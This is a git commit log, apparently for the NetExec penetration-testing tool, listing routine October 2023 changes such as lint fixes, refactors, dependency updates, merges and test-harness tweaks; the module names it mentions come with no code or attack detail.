XiaoliChan 788a2e838d [workflow] update dependency for lint.yml
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 16:18:22 +08:00
XiaoliChan 380eef4901 [winrm] update dependency for kerberos login & ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 16:11:25 +08:00
XiaoliChan 6f8186479a [winrm] format import
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 15:56:50 +08:00
XiaoliChan 312c3d7b68 [winrm] kerberos login implement
Signed-off-by: XiaoliChan <[email protected]>
2023-10-31 15:55:08 +08:00
Marshall Hallenbeck 4128515a96 Merge branch 'develop' into connection-miss-port
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-30 22:34:25 -04:00
Marshall Hallenbeck ddd9bcce72 Merge branch 'develop' into neff-bh-pc
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-30 22:31:16 -04:00
Marshall Hallenbeck 9f81653a6e Merge branch 'develop' into winrm-improv
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-30 22:29:41 -04:00
Alex 80c2f13440 Merge branch 'develop' into neff-neo4j 2023-10-30 14:08:27 -04:00
Alex 9736bd2d10 Merge pull request #94 from ayushrakesh/patch-1 2023-10-30 14:07:55 -04:00
ayushrakesh 9322c2425d Update README.md
Signed-off-by: ayushrakesh <[email protected]>
2023-10-30 23:26:58 +05:30
Alex a08458e478 Merge branch 'develop' into neff-neo4j
Signed-off-by: Alex <[email protected]>
2023-10-30 13:39:50 -04:00
Alexander Neff 00f08c608b Fix single quote 2023-10-30 13:38:10 -04:00
Alex be33efc1ab Merge pull request #89 from Pennyw0rth/neff-py-version 2023-10-30 13:35:25 -04:00
Alexander Neff 4840ea0cd3 Changed to f-string, swapped single quote to double quotes 2023-10-30 10:38:52 -04:00
XiaoliChan 58f6b3715f [winrm.py] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 19:36:16 +08:00
XiaoliChan f18c279a1c [connection.py] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 19:15:56 +08:00
XiaoliChan aeb2a62e1e [winrm] repush commit
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 19:12:06 +08:00
XiaoliChan 406f6934b0 [connection.py] Add line break
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 18:57:36 +08:00
XiaoliChan b162a07e56 [PR 63] conflict solved
Signed-off-by: XiaoliChan <[email protected]>
2023-10-29 18:53:29 +08:00
Marshall Hallenbeck b60bef6106 Merge branch 'develop' into neff-bh-pc
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-29 01:11:51 -04:00
Marshall Hallenbeck 23caad854e Merge branch 'develop' into neff-py-version
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-29 01:11:47 -04:00
Marshall Hallenbeck 4b2535d8b4 Merge branch 'develop' into neff-neo4j
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-29 01:11:25 -04:00
Marshall Hallenbeck dee5e288b3 Merge pull request #35 from Pennyw0rth/marshall_cleanup
Cleanup & Lint Code
2023-10-29 01:11:09 -04:00
Alex 72500d99be Simplify code and remove unnecessary return nones 2023-10-28 01:04:52 +02:00
Marshall Hallenbeck 9387891dc1 fix comments without space after hash 2023-10-26 19:58:36 -04:00
Marshall Hallenbeck dcdff05b59 fix and add more debug statements for winrm 2023-10-26 19:57:14 -04:00
Marshall Hallenbeck 0bdbdc7eab fix(tests): add second parameter for ftp put location 2023-10-26 19:10:58 -04:00
Marshall Hallenbeck ce1d2a0814 ruff: linting stuff (some was from my conflict resolution I messed up) 2023-10-26 18:26:44 -04:00
Marshall Hallenbeck 71d39f25ef ruff: autofix 2023-10-26 18:22:47 -04:00
Marshall Hallenbeck 84431baca7 readd pyreadline to poetry.lock 2023-10-26 18:20:40 -04:00
Marshall Hallenbeck dc5ef93f7c Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-26 18:10:05 -04:00
Alexander Neff b2c63d569a Change back formating for readability 2023-10-26 21:34:36 +02:00
Alexander Neff db8368e6fb Change back formating for readability 2023-10-26 21:22:50 +02:00
Alexander Neff afe4cd7570 Change back formating for readability 2023-10-26 21:13:34 +02:00
Alexander Neff a416cec4bb Convert one-liner into multi-liner for readability 2023-10-26 21:03:49 +02:00
Alexander Neff c2d6eadd26 Extract base64 script from python code 2023-10-26 20:34:55 +02:00
Alexander Neff d1db71dfae Fix multi-line log message 2023-10-26 20:25:13 +02:00
Alex b21a1eb09f Merge pull request #86 from Pennyw0rth/neff-fix-color 2023-10-26 11:10:52 +02:00
Alex 9691b671fc Merge branch 'develop' into neff-fix-color 2023-10-26 10:35:33 +02:00
Alexander Neff cdf089fba8 Fix format of config list 2023-10-24 22:48:12 +02:00
Alexander Neff 34c9c33a4b Extract base64 code to file 2023-10-24 22:43:14 +02:00
Alexander Neff 2595fab10f Format cli.py 2023-10-24 22:16:45 +02:00
sandw1ch c6e5fdb205 use fstring, delete testing comment
Signed-off-by: sandw1ch <[email protected]>
2023-10-24 13:00:22 -05:00
XiaoliChan 96ba933e12 [connection.py] less line
Signed-off-by: XiaoliChan <[email protected]>
2023-10-24 00:31:45 +08:00
XiaoliChan a037ac9f4a [connection.py] less if condition
Signed-off-by: XiaoliChan <[email protected]>
2023-10-24 00:23:51 +08:00
XiaoliChan 6ac9f7f0a5 [connection.py] IPv4 preferred
Signed-off-by: XiaoliChan <[email protected]>
2023-10-23 23:49:12 +08:00
Alexander Neff e4f1558b5a Add computer accounts to bloodhound if local admin on host 2023-10-23 11:20:47 -04:00
Alex 8d32b5642d Update lint.yml 2023-10-23 11:53:15 +02:00
Alex 96f4d2e686 Cache python dependencies in lint.yml 2023-10-23 10:51:58 +02:00
XiaoliChan 9cf88eb71c [ssh] conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2023-10-23 11:17:42 +08:00
Alex 4dd9be2049 Merge pull request #87 from Pennyw0rth/fix-73 2023-10-23 00:24:53 +02:00
Alex a790c85857 Merge pull request #25 from XiaoliChan/ssh-improv 2023-10-23 00:23:04 +02:00
Alexander Neff 2998c571a6 Add debug output to get OS and Python version 2023-10-22 13:05:06 -04:00
Alexander Neff a04f08db4b Improve bloodhound connector when adding users and using the NETBIOS name from the domain 2023-10-22 11:38:45 -04:00
Alexander Neff 6a5ba76578 Merge remote-tracking branch 'refs/remotes/xioali_nxc/ssh-improv' into ssh-improv 2023-10-22 07:37:11 -04:00
Alexander Neff 92f9c8c51e Improve ssh key file output 2023-10-22 07:32:11 -04:00
XiaoliChan 4153b80643 Merge remote-tracking branch 'upstream/develop' into ssh-improv 2023-10-22 19:11:08 +08:00
XiaoliChan 0a2a5df789 Merge remote-tracking branch 'upstream/develop' into connection-miss-port 2023-10-22 19:09:59 +08:00
Marshall Hallenbeck 884c606998 Merge pull request #74 from Pennyw0rth/neff-module-sort
Add module sorting
2023-10-22 00:08:59 -04:00
Marshall Hallenbeck be0247cd06 Merge branch 'develop' into neff-module-sort 2023-10-22 00:08:43 -04:00
Marshall Hallenbeck e9313c63c3 Merge pull request #40 from RomanRII/main
Enhancing the FTP protocol
2023-10-22 00:08:15 -04:00
Marshall Hallenbeck a41b582ef7 Merge branch 'develop' into main 2023-10-21 23:50:24 -04:00
Marshall Hallenbeck 9e6cef13d1 remove unnecessary import 2023-10-21 23:47:47 -04:00
Marshall Hallenbeck e9eccba193 refactor: remove Python shebangs since they are not needed 2023-10-21 23:45:16 -04:00
Marshall Hallenbeck b31b3b70ba fix: remove loading http server for #35 2023-10-21 23:44:53 -04:00
Marshall Hallenbeck aa696051ed remove http server; fixes #21 2023-10-21 23:43:13 -04:00
Marshall Hallenbeck 2681244c3b fix(dependencies): add bloodhound to netexec.spec, fixes #79 2023-10-21 23:15:22 -04:00
Marshall Hallenbeck 41ec0b18f0 Merge branch 'develop' into marshall_cleanup 2023-10-21 19:26:02 -04:00
Marshall Hallenbeck 8ecdcebf4d fix redundant lines 2023-10-21 19:24:31 -04:00
Marshall Hallenbeck 33a8dfc109 remove redundant log call 2023-10-21 19:20:08 -04:00
Marshall Hallenbeck 3ce70c71b6 fix arbitrary newlining 2023-10-21 19:16:54 -04:00
Marshall Hallenbeck e9dd72e1c1 remove python env specification 2023-10-21 19:13:26 -04:00
Marshall Hallenbeck ac4c2f4168 remove 'exploit' term from MS17-010 since its a check, not an exploit 2023-10-21 19:11:41 -04:00
Marshall Hallenbeck c523d9679b convert string concat to fstring 2023-10-21 19:10:06 -04:00
Marshall Hallenbeck 7eef62ed78 fix: undo newlining 2023-10-21 19:00:16 -04:00
Marshall Hallenbeck 92ddea1ffb fix: remove unnecessary newlining 2023-10-21 18:59:33 -04:00
zblurx b4ccc5a08c remove single quotes 2023-10-21 18:47:01 +02:00
Alexander Neff 838585f8b2 Downgrade termcolor to prevent atty check which disables colors 2023-10-21 12:36:19 -04:00
XiaoliChan 425e83c4c4 [ssh] disable look_for_keys in paramiko
Signed-off-by: XiaoliChan <[email protected]>
2023-10-21 23:38:06 +08:00
XiaoliChan 35cdf414b7 [ssh] Neff review II
Signed-off-by: XiaoliChan <[email protected]>
2023-10-21 23:13:47 +08:00
Alexander Neff 6a5f76b939 Remove all files created on the target 2023-10-21 07:08:36 -04:00
zblurx 8521d6bf0c Merge branch 's4u' of github.com:Pennyw0rth/NetExec into s4u 2023-10-21 12:44:40 +02:00
zblurx 187828a2b8 fix camelcase and logger import 2023-10-21 12:42:28 +02:00
XiaoliChan 4e1ff89683 Merge remote-tracking branch 'upstream/develop' into ssh-improv 2023-10-21 11:04:26 +08:00
Marshall Hallenbeck 216e96a804 Merge branch 'develop' into connection-miss-port 2023-10-20 21:44:57 -04:00
Marshall Hallenbeck 4b4a39b459 Merge branch 'develop' into neff-module-sort 2023-10-20 21:35:36 -04:00
Marshall Hallenbeck 1aab4c97c3 Merge pull request #83 from mishrasamiksha/develop
Update README.md
2023-10-20 21:30:42 -04:00
Marshall Hallenbeck a68265bb13 feat(tests): allow running specific proto tests via --protocols 2023-10-20 15:02:37 -04:00
Samiksha Mishra 1560c2d761 Update README.md
Typo error fix from "contributers" to "contributors"

Signed-off-by: Samiksha Mishra <[email protected]>
2023-10-20 20:17:21 +05:30
XiaoliChan fa7c5945ef [ssh] Marshall review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-20 15:59:58 +08:00
XiaoliChan 78ed508066 [ssh] Marshall review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-20 15:56:39 +08:00
Marshall Hallenbeck 90ede7ff1e Merge branch 'develop' into ssh-improv 2023-10-19 21:38:43 -04:00
Marshall Hallenbeck fd6e0c5839 Merge branch 'develop' into connection-miss-port 2023-10-19 20:57:45 -04:00
Marshall Hallenbeck 506d5b8f40 Merge branch 'develop' into s4u 2023-10-19 20:37:44 -04:00
Marshall Hallenbeck b86a60190b Merge branch 'develop' into main 2023-10-19 20:31:31 -04:00
mpgn 5e282156bb Fix ldap query over 1000 results 2023-10-19 15:30:00 -04:00
Alex 809b4bb799 Merge pull request #80 from Pennyw0rth/mpgn 2023-10-19 11:29:03 +02:00
zblurx 99bba69a72 Merge branch 'develop' into s4u 2023-10-19 11:09:44 +02:00
zblurx 8ea441595c cleanup 2023-10-19 11:07:50 +02:00
XiaoliChan 8f36ad2b1b [connection.py] remove ugly space
Signed-off-by: XiaoliChan <[email protected]>
2023-10-19 11:00:56 +08:00
XiaoliChan d19aca3c05 [connection.py] Neff review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-19 10:35:29 +08:00
XiaoliChan bf7cfb66c2 Merge remote-tracking branch 'upstream/develop' into connection-miss-port 2023-10-19 10:25:36 +08:00
Alexander Neff a09934b8f9 Adding mpgn 2023-10-19 00:34:55 +02:00
Alexander Neff 6385cce49a Formating, ruff linting and removal of unused code 2023-10-18 22:56:23 +02:00
Marshall Hallenbeck fc0bbc545d Merge branch 'develop' into main 2023-10-18 14:05:35 -04:00
Marshall Hallenbeck 30c474cbd6 refactor(tests): move --options above the module run for each module 2023-10-18 14:02:32 -04:00
Marshall Hallenbeck 41fac78df4 tests: add iis and pi module tests 2023-10-18 13:57:33 -04:00
Marshall Hallenbeck e153790d76 tests: add add-computer to e2e tests 2023-10-18 13:51:40 -04:00
Marshall Hallenbeck 085868c551 fix(tests): some modules have a PASSWORD and may have a USERNAME param, so update the login string variable 2023-10-18 13:51:15 -04:00
Marshall Hallenbeck dbbffc5952 fix(add-computer): set proper permission on open user request and exit if the computer account is already created 2023-10-18 13:44:01 -04:00
Marshall Hallenbeck 0376a005e3 ruff: add in --preview flag for linting in GitHub runner 2023-10-18 13:02:57 -04:00
Marshall Hallenbeck b9497d37aa Revert "Merge branch 'develop' into marshall_cleanup"
This reverts commit ce73f684c1, reversing
changes made to f87eeffc41.
2023-10-18 12:15:21 -04:00
Marshall Hallenbeck ce73f684c1 Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-18 12:10:25 -04:00
Marshall Hallenbeck f87eeffc41 move imports back to conditional and add comment 2023-10-18 12:08:46 -04:00
XiaoliChan 113b98060c [ssh] Neff review: args condition
Signed-off-by: XiaoliChan <[email protected]>
2023-10-18 22:40:37 +08:00
XiaoliChan feac7f07bf [ssh] Neff review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-18 22:15:38 +08:00
XiaoliChan d2ed2aaf9e [ssh] conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2023-10-18 20:13:43 +08:00
XiaoliChan ac0fa8c3a0 [ssh] conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2023-10-18 20:12:25 +08:00
Alex 1879107c8e Merge pull request #77 from Pennyw0rth/dependabot/pip/urllib3-2.0.7
Bump urllib3 from 2.0.6 to 2.0.7
2023-10-18 13:08:04 +02:00
Alexander Neff ffeb2063ca Increase parallel test runs and fix description of test cli 2023-10-18 12:58:17 +02:00
XiaoliChan d61e78a1c6 Merge remote-tracking branch 'upstream/develop' into connection-miss-port 2023-10-18 12:04:21 +08:00
Alexander Neff b3e1a0d967 Add ruff version output to cli 2023-10-18 00:00:55 +02:00
Alexander Neff dd3a285049 Fix lint cli 2023-10-17 23:58:21 +02:00
Alexander Neff ab5452d7b9 Use poetry to run ruff 2023-10-17 23:56:18 +02:00
Alexander Neff 0cfdbd46a6 Update dependencies from dev 2023-10-17 23:43:30 +02:00
Alexander Neff 1ce4a5eac0 Update dependencies 2023-10-17 23:34:38 +02:00
dependabot[bot] 4e51bfb5aa Bump urllib3 from 2.0.6 to 2.0.7
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.0.6 to 2.0.7.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.0.6...2.0.7)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-17 21:15:55 +00:00
Marshall Hallenbeck 8056ef8e28 fix(kerberos): pass kdc_host on kerberos connection 2023-10-17 14:58:22 -04:00
Marshall Hallenbeck 14d6e9bc3e fix: remove ClassVar to be revisited later 2023-10-17 14:58:22 -04:00
Marshall Hallenbeck a3b0428f8d fix(tests): add in space so command is correct 2023-10-17 14:58:22 -04:00
Marshall Hallenbeck 98617194ac Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-17 14:32:50 -04:00
Marshall Hallenbeck d28dc10e0f fix(ruff): add back in res variable since it's called in the following debug and add noqa for F841 on it since it will get auto-fixed 2023-10-17 14:30:24 -04:00
Marshall Hallenbeck 2854aa010d ruff: fix a single RUF012 and then ignore it for future use 2023-10-17 14:19:42 -04:00
Marshall Hallenbeck d10e6492fb Merge branch 'develop' into neff-module-sort 2023-10-17 11:32:24 -04:00
Marshall Hallenbeck 84d55aa264 ruff: add LOG (no fixes) and RUF and auto-fix 2023-10-16 12:54:57 -04:00
Marshall Hallenbeck b39389f122 ruff: fix E261 - spaces before inline comments 2023-10-16 12:52:45 -04:00
Marshall Hallenbeck a7b95f2fc8 ruff: add refurb (FURB) and auto-fix 2023-10-16 12:48:15 -04:00
Alexander Neff b33f67792d Simplify code and remove unused variables 2023-10-15 20:35:45 +02:00
Alexander Neff 052bfa3c1a Resolve merge conflicts 2023-10-15 20:23:12 +02:00
Marshall Hallenbeck e77ecd31bd ruff: add F841 back in and auto-fix 2023-10-15 13:31:51 -04:00
Alexander Neff e672dce25f Convert for loops into list comprehensions 2023-10-15 19:21:14 +02:00
Alexander Neff 2391d1d5ba Fix poetry.lock file 2023-10-15 18:24:29 +02:00
Alexander Neff dbc1feeadd Replace for loops with list comprehensions 2023-10-15 18:24:09 +02:00
Alex fb886295e1 Merge branch 'develop' into main 2023-10-15 17:30:15 +02:00
Roman Rivas II f6cd7934b3 Merge branch 'Pennyw0rth:main' into main 2023-10-15 08:16:47 -07:00
Roman Rivas II f26b676c8e Update ftp.py
Signed-off-by: Roman Rivas II <[email protected]>
2023-10-15 08:14:15 -07:00
Roman Rivas II 901b8dee80 Update proto_args.py
Signed-off-by: Roman Rivas II <[email protected]>
2023-10-15 08:12:21 -07:00
Alex d1aec0611e Merge pull request #30 from Pennyw0rth/marshall-dependency-update-9-19-2023
Update dependencies (including impacket fork) for v1.1.0
2023-10-15 17:02:55 +02:00
Alexander Neff dfafcb2975 Add module sorting when listing modules by privileges needed for execution 2023-10-15 10:59:22 -04:00
Alex 0f756f7558 Merge branch 'develop' into marshall-dependency-update-9-19-2023 2023-10-15 16:38:40 +02:00
Alexander Neff 0e4c545bc0 Formating 2023-10-15 09:09:26 -04:00
Marshall Hallenbeck e043e0704e refactor: list comprehension, better header skip, and update docstring 2023-10-15 07:28:58 -04:00
Marshall Hallenbeck 44b0619f44 refactor: list comprehension 2023-10-15 07:28:37 -04:00
Marshall Hallenbeck 6841537347 refactor(daclread): add additional debug, update docstrings, refactor to use list comprehension 2023-10-15 07:18:21 -04:00
Marshall Hallenbeck a90898dba6 refactor: use list comprehension 2023-10-15 06:56:43 -04:00
Marshall Hallenbeck 528248dd31 refactor(samrfunc): use list/dict comprehension 2023-10-15 06:56:21 -04:00
Marshall Hallenbeck 94b515bfeb ruff: ignore PERF203 - only for pre-3.11 and may cause issues if refactored 2023-10-15 06:50:06 -04:00
Marshall Hallenbeck fd433b1227 update logging string 2023-10-15 06:49:41 -04:00
Marshall Hallenbeck 8c73dec431 refactor(wmi): fix try except in forloop, add docstring, fix wql variable, and update logging to not cast 2023-10-15 06:41:54 -04:00
Marshall Hallenbeck b3ea011d3b remove string import 2023-10-15 06:30:52 -04:00
Marshall Hallenbeck cd3f3e9347 refactor: reference ascii_lowercase directly 2023-10-15 06:30:29 -04:00
Marshall Hallenbeck 3e056659d8 refactor: use list comprehension for domains retrieved - PERF401 2023-10-14 22:16:59 -04:00
Marshall Hallenbeck 467882a759 refactor: move try except outside forloops - PERF203 2023-10-14 22:15:24 -04:00
Marshall Hallenbeck bc0254d97e refactor: clean up parse_perms logic 2023-10-14 22:13:03 -04:00
Marshall Hallenbeck 5b5ed0c880 refactor: improve character randomization 2023-10-14 21:58:06 -04:00
Marshall Hallenbeck f1af5b8959 ruff: run previously unincluded PIE790 fixes in ruff 0.0.292 2023-10-14 21:53:46 -04:00
Marshall Hallenbeck 0cb67d3016 ruff: add PERF 2023-10-14 21:53:23 -04:00
Marshall Hallenbeck 59767febce refactor: move try outside forloop 2023-10-14 21:53:06 -04:00
Marshall Hallenbeck 201b3285c4 ruff: pin 292 version since older versions dont display all checks 2023-10-14 21:50:48 -04:00
Marshall Hallenbeck 2b34359103 ruff: add ERA001 ignores 2023-10-14 18:42:10 -04:00
Marshall Hallenbeck 6fae02aee0 ruff: add flynt (FLY) and auto-fix 2023-10-14 18:41:08 -04:00
Marshall Hallenbeck 847f8493ee ruff: remove Pylint from ruff 2023-10-14 18:39:05 -04:00
Marshall Hallenbeck 21a8707e9e ruff: add Pylint (PL) and auto-run 2023-10-14 18:36:20 -04:00
Marshall Hallenbeck 82e5d78007 ruff: eradicate commented out code 2023-10-14 18:34:09 -04:00
Marshall Hallenbeck b4475f467b ruff: add eradicate (ERA) 2023-10-14 18:33:57 -04:00
Marshall Hallenbeck 378f66087d ruff: add flake8-tidy-imports (TID) 2023-10-14 18:27:07 -04:00
Marshall Hallenbeck adeddb756e refactor remaining flake8-simplify (SIM) issues 2023-10-14 18:26:24 -04:00
Marshall Hallenbeck cd1b4680ab refactor: simplify logic 2023-10-14 18:13:37 -04:00
Marshall Hallenbeck c1585a5609 refactor: simplify logic again 2023-10-14 18:11:06 -04:00
Marshall Hallenbeck 53af86a557 refactor: use with open for file writing 2023-10-14 18:08:43 -04:00
Marshall Hallenbeck e03e3a105d refactor: use with open for file opening 2023-10-14 17:57:35 -04:00
Marshall Hallenbeck 3a27363c35 refactor: use with for file open 2023-10-14 17:53:01 -04:00
Marshall Hallenbeck c9b325a80c refactor: update if logic 2023-10-14 17:48:05 -04:00
Marshall Hallenbeck 7a8756d692 add noqa for SIM115 2023-10-14 17:47:51 -04:00
Marshall Hallenbeck 4d2ab762bd refactor: simplify logic 2023-10-14 17:44:52 -04:00
Marshall Hallenbeck f3a358fd82 simplify logic and add additional debug statements 2023-10-14 17:36:47 -04:00
Marshall Hallenbeck 276e6c7d59 fix(tests): properly reference test passwords file 2023-10-14 16:32:24 -04:00
Marshall Hallenbeck 39b0ca68a3 fix: ftp proto name 2023-10-14 16:28:26 -04:00
Marshall Hallenbeck cdc8bdbc77 fix: remove extra param added erroneously 2023-10-14 15:56:34 -04:00
Marshall Hallenbeck d8b29312b7 ruff: add flake8-simplify (SIM) and auto-fix 2023-10-14 15:56:22 -04:00
Marshall Hallenbeck cf637968fe fix: ftp class name 2023-10-14 15:52:55 -04:00
Marshall Hallenbeck 9a4dbf15cf tests: add --poetry parameter to prepend 'poetry run' before commands 2023-10-14 14:29:01 -04:00
Marshall Hallenbeck 8f5e74240f ruff: exclude RET505-508 2023-10-14 14:19:23 -04:00
Marshall Hallenbeck cdcde5a91b ruff: add flake8-return (RET) and auto-run 2023-10-14 14:16:28 -04:00
Marshall Hallenbeck 781afc9c65 ruff: add flake8-raise (RSE) and auto-run 2023-10-13 15:27:34 -04:00
Marshall Hallenbeck ae14929faf ruff: add flake8-quotes (Q) and auto-run 2023-10-13 15:26:57 -04:00
Marshall Hallenbeck 008b99a28b ruff: add flake8-pytest-style (PT) and auto-run 2023-10-13 15:25:36 -04:00
Marshall Hallenbeck 916c7390c6 ruff: add flake8-pie (PIE) and auto-run 2023-10-13 14:27:53 -04:00
Marshall Hallenbeck 9b7d2cf5d4 ruff: add flake8-import-conventions (ICN) 2023-10-13 14:20:25 -04:00
Marshall Hallenbeck d9f2db1a30 ruff: manual flake8-implicit-str-concat (ISC) fixes 2023-10-13 14:19:39 -04:00
Marshall Hallenbeck 0f93876b54 ruff: auto-run flake8-implicit-str-concat (ISC) 2023-10-13 11:23:44 -04:00
Marshall Hallenbeck dcc724118f ruff: auto-run flake8-comprehensions (C4) 2023-10-13 11:21:20 -04:00
Marshall Hallenbeck 3c4d9cc4bb ruff: change lint workflow to just run ruff and rely on pyproject.toml 2023-10-13 11:20:53 -04:00
Marshall Hallenbeck e3d6622dee remove redundant paranthesis 2023-10-13 11:20:17 -04:00
XiaoliChan 0ef92f0a04 [ssh] update pyproject.toml
Signed-off-by: XiaoliChan <[email protected]>
2023-10-13 20:56:05 +08:00
XiaoliChan fbe9c9f3d9 [connection.py] add 'self.port' & improve gethost_addrinfo
Signed-off-by: XiaoliChan <[email protected]>
2023-10-13 10:46:45 +08:00
Marshall Hallenbeck 40f557b8e9 ruff: fix flake8-builtins (A) issues 2023-10-12 17:34:01 -04:00
Marshall Hallenbeck 7edc28359c fix(tests): re-add mistakenly removed tests 2023-10-12 17:24:35 -04:00
Marshall Hallenbeck bfd32f1910 ruff: manually fix flake8-bugbear issues 2023-10-12 17:23:21 -04:00
Marshall Hallenbeck 4045bebd77 ruff: auto flake8-bugbear, see B006 mutable-argument-default for function param changes 2023-10-12 17:17:20 -04:00
Marshall Hallenbeck 2d20b220ce ruff: add flake8-bugbear 2023-10-12 17:14:20 -04:00
sandw1ch 0b7756f3f6 Merge branch 'develop' into main
Signed-off-by: sandw1ch <[email protected]>
2023-10-12 16:11:23 -05:00
Marshall Hallenbeck 7940fb6fe4 ruff: add flake8-async (ASYNC) 2023-10-12 17:09:49 -04:00
Marshall Hallenbeck d080a96a88 ruff: add flake8-2020 (YTT) 2023-10-12 17:08:08 -04:00
Marshall Hallenbeck 4f5a89262c ruff: remove encoding 2023-10-12 17:07:40 -04:00
Marshall Hallenbeck b24b9210e4 ruff: pyupgrade (UP) ruff changes 2023-10-12 17:06:04 -04:00
Marshall Hallenbeck adc59ffaaa Merge remote-tracking branch 'origin/develop' into marshall_cleanup 2023-10-12 17:00:02 -04:00
Marshall Hallenbeck 66e6c95f0d Merge pull request #71 from Pennyw0rth/XiaoliChan-nanodump
Xiaoli chan nanodump
2023-10-12 16:55:23 -04:00
Marshall Hallenbeck ba5db57ac9 Merge branch 'develop' into XiaoliChan-nanodump 2023-10-12 16:50:20 -04:00
Marshall Hallenbeck ba9a961916 Merge pull request #69 from Pennyw0rth/revert-67-nanodump
Revert "[nanodump] fix error with temporary path"
2023-10-12 16:36:20 -04:00
Marshall Hallenbeck f6fed70894 Revert "[nanodump] fix error with temporary path" 2023-10-12 16:28:36 -04:00
Marshall Hallenbeck 2cf6c8c248 Merge pull request #67 from XiaoliChan/nanodump
[nanodump] fix error with temporary path
2023-10-12 16:28:28 -04:00
Marshall Hallenbeck 007d09a390 fix: inform user if msol.ps1 file doesnt exist 2023-10-12 16:04:22 -04:00
Marshall Hallenbeck d638b17c44 fix: inform user if impersonate file doesnt exist 2023-10-12 16:03:37 -04:00
Marshall Hallenbeck 25e4248ccb fix: inform user if handlekatz file doesnt exist 2023-10-12 16:01:54 -04:00
Marshall Hallenbeck b01384d1ec fix error string 2023-10-12 15:58:31 -04:00
Marshall Hallenbeck 8c51b3722a fix: dont throw an exception right after catching it 2023-10-12 15:55:28 -04:00
Marshall Hallenbeck 9052470a5b fix: properly handle connection issue to bolt and let user know 2023-10-12 15:49:57 -04:00
Marshall Hallenbeck 335e6c9755 ruff: manually fixed pydocstyle ruff alerts and add exclusions 2023-10-12 15:41:13 -04:00
Marshall Hallenbeck b002336680 ruff: fix pydocstyle via ruff 2023-10-12 15:13:16 -04:00
Marshall Hallenbeck f812ea1b4a ruff: dont require docstring to end in punctuation and allow empty docstring (for now) 2023-10-12 15:11:51 -04:00
Marshall Hallenbeck 2b50e9b86b ruff: add pydocstyle rules and ignores 2023-10-12 15:09:06 -04:00
Marshall Hallenbeck c9112b1c13 ruff: add quote flake8 rules and re-run ruff 2023-10-12 14:50:36 -04:00
Marshall Hallenbeck 52a1a7a230 Merge branch 'marshall_cleanup' of https://github.com/Pennyw0rth/NetExec into marshall_cleanup 2023-10-12 14:37:37 -04:00
Marshall Hallenbeck 76ac0f7f2b fix: change conflict resolution I messed up and remove ruff quote section, since it was causing issues running ruff check 2023-10-12 14:37:32 -04:00
Marshall Hallenbeck a295db84dd Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-12 14:31:11 -04:00
Marshall Hallenbeck f61d068cd2 ruff: remove unnecessary f string 2023-10-12 14:30:26 -04:00
Marshall Hallenbeck 35333504ea fix: remove extra Exception 2023-10-12 14:30:03 -04:00
Marshall Hallenbeck 6c48020544 Merge branch 'develop' into marshall-dependency-update-9-19-2023 2023-10-12 14:26:54 -04:00
Marshall Hallenbeck 4eb2c08d73 Merge branch 'develop' into ssh-improv 2023-10-12 14:26:35 -04:00
Marshall Hallenbeck 4a09852aa2 Merge pull request #57 from Pennyw0rth/ascii-art
Add ascii art to cli
2023-10-12 14:26:04 -04:00
Marshall Hallenbeck 6e39bdd96a Merge branch 'develop' into ascii-art 2023-10-12 14:07:01 -04:00
Marshall Hallenbeck 95dd61b2ea Merge branch 'develop' into marshall-dependency-update-9-19-2023 2023-10-12 14:05:15 -04:00
Marshall Hallenbeck 33d2dc2785 Merge branch 'marshall_cleanup' of https://github.com/Pennyw0rth/NetExec into marshall_cleanup 2023-10-12 11:36:16 -04:00
Marshall Hallenbeck 54bddb50fa fix: remove redundant Except 2023-10-12 11:36:05 -04:00
Marshall Hallenbeck bbc661ba38 Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-12 11:17:46 -04:00
Marshall Hallenbeck f573f7f2aa Merge branch 'marshall_cleanup' of https://github.com/Pennyw0rth/NetExec into marshall_cleanup 2023-10-12 11:13:44 -04:00
Marshall Hallenbeck 5cf9f34e1a Merge branch 'develop' into main 2023-10-12 11:01:28 -04:00
zblurx b7da5aa597 Update nanodump.py 2023-10-12 15:39:53 +02:00
zblurx dd55907929 update e2e 2023-10-12 14:39:28 +02:00
zblurx dd18ef1752 Added support for S4U2Self only 2023-10-12 12:02:34 +02:00
zblurx b7d6a987c9 Merge branch 'nanodump' 2023-10-12 11:37:53 +02:00
zblurx ac8067bc77 fix nanodump 2023-10-12 11:35:31 +02:00
XiaoliChan ea8cdcceef [nanodump] zblurx: review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-12 17:25:32 +08:00
XiaoliChan 784c42b674 [nanodump] fix error with temporary path
Signed-off-by: XiaoliChan <[email protected]>
2023-10-12 14:48:44 +08:00
sandw1ch 50f2e5d1c1 sed "s/'/\"/g"
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 17:23:12 -05:00
